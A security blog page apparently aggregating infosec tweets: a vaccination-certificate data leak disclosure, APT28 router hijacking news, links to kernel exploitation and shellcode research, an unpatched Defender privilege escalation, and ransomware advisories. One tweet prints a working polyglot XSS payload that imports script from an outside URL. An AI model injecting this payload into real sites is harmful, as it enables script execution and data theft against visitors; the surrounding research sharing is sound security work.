Steck Mera

Programming, Security, Reversing & Malware analysis

[Steck Mera @SteckMera]

Hace unas semanas atrás reportamos una vulnerabilidad al equipo de desarrollo de la aplicación para descargar los certificados de vacunación, que permitía obtener de manera masiva los certificados de todos los ciudadanos que ya tienen aplicadas sus 2 dosis de la vacuna.

[The Hacker News @TheHackersNews]

🚨 WARNING - APT28 ran a global router hijack to steal credentials.

The group compromised MikroTik and TP-Link devices, rewrote DNS settings, and redirected traffic for credential theft at scale -- impacting 18,000+ IPs across 120 countries, including government and cloud targets.

🔗 Read here → https://t.co/q8GtrEyMMO

[0xor0ne @0xor0ne]

Bypassing Linux kernel CR Pinning to execute shellcode by placing a KProbe in the native_write_cr4 instruction gap.

https://t.co/ZNFonMc5Og

#infosec

[Co11ateral @co11ateral]

Bluehammer

Privilege escalation via Microsoft Defender. No patch yet

https://t.co/HY02ydWZEK

#0day #lpe

[Moritz @m_r_tz]

The FLARE team now freely distributes its quality reverse engineering and malware analysis educational content at https://t.co/bGCIjBfD3C. Launched with:
- Malware Analysis Crash Course
- Go Reversing Reference
- Intro to TTD

[0xor0ne @0xor0ne]

#infosec related list of blog posts, write-ups, papers, and tools covering cybersecurity, reverse engineering, and exploitation.

https://t.co/6YgCLKcdUH

[0xor0ne @0xor0ne]

DIRTYFREE (NDSS 2026): Linux kernel privilege exploitation via arbitrary free primitive

https://t.co/4ObcknE5ht

#Linux #infosec

[0xor0ne @0xor0ne]

Writing shellcode into remote processes via ROP gadgets and existing RWX regions

https://t.co/SFfTtXPW7e

Research by @G3tSyst3m

#infosec

[Nicolas Krassas @Dinosn]

Hooking .NET Managed Code https://t.co/QbmflS9Aj4

[KNOXSS @KN0X55]

Use this #XSS payload and pop alert boxes EVERYWHERE! 😎👇

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:https://t.co/GFfWFhdpK2))}//\76-->

[NullSecurityX @NullSecurityX]

NEW Videoooo:
GraphQL APIs aren’t as safe as you think.

In this video, I break down a critical SQL Injection vulnerability leading to full database exposure - step by step, from injection point to data extraction.

https://t.co/sMmuc8JUSV

#BugBounty #CyberSecurity

[Centro Criptológico Nacional @CCNCERT]

🚀El #CCN lanza LabIA, nueva plataforma de retos en IA.
Un entorno interactivo para entrenar la detección y mitigación de técnicas de manipulación de #IA.
🤖Disponible en: https://t.co/Ed16AB9KXe
🛡️También en ATENEA: https://t.co/oMSGVK61TU
#ciberseguridad
https://t.co/p9cZ9Z45CO

[0xor0ne @0xor0ne]

Reverse engineering Linux anti-RE tricks (ELF headers, segment gaps, XOR layers, RC4 encryption)

https://t.co/8q27Cvi2zL

Credits: Xusheng Li

#infosec

[Maximiliano Firtman @maxifirtman]

Primer hackeo documentado a un código creado por la IA de Claude con una vulnerabilidad. Era un contrato cripto y gracias a ese bug los ciber delincuentes se hicieron con casi dos millones de dólares.

[David Peterson @davidgpeterson]

LaLiga has been ordering Spanish ISPs to block ~3000 IP addresses almost every weekend. Because Cloudflare IPs are shared, this has been doing massive collateral damage to thousands of legitimate websites, apps, and vital services - all at the whim of a private corporation.

[Bernardo Quintero @bquintero]

monitor and analyze with virustotal what your claw (or its skills) downloads from remote servers

openclaw plugins install openclaw-plugin-vt-sentinel && openclaw gateway restart

[Clandestine @akaclandestine]

Endpoint Evasion Techniques (2020–2025): The Evolution of Attacks Bypassing EDR | Code Before Breach https://t.co/aOFZEPxEbc

[0xor0ne @0xor0ne]

Authenticated RCE on TP-Link AX10 & AX1500 through CWMP exploitation (CVE-2025-9961)

https://t.co/9UgZe6WLeV

#infosec

[Agencia Nacional de Ciberseguridad (ANCI) @ANCIChile]

🚨 Desde la Agencia Nacional de Ciberseguridad (#ANCI) compartimos la siguiente publicación con el modo de operación del actor de #ransomware #TheGentlemen.

⚠️ Llamamos a implementar las medidas de mitigación que también describimos en el enlace:
https://t.co/eylhRCCHy7

[Es Geeks @EsGeeks]

¿Buscas un XDR open source? Wazuh unifica la seguridad de endpoints, cloud y contenedores. Detecta amenazas, vulnerabilidades y automatiza la respuesta a incidentes para fortalecer tu bastión digital.

🛡️🔍 #Wazuh #XDR #Ciberseguridad #BlueTeam #Infosec #cloudsecurity #pcidss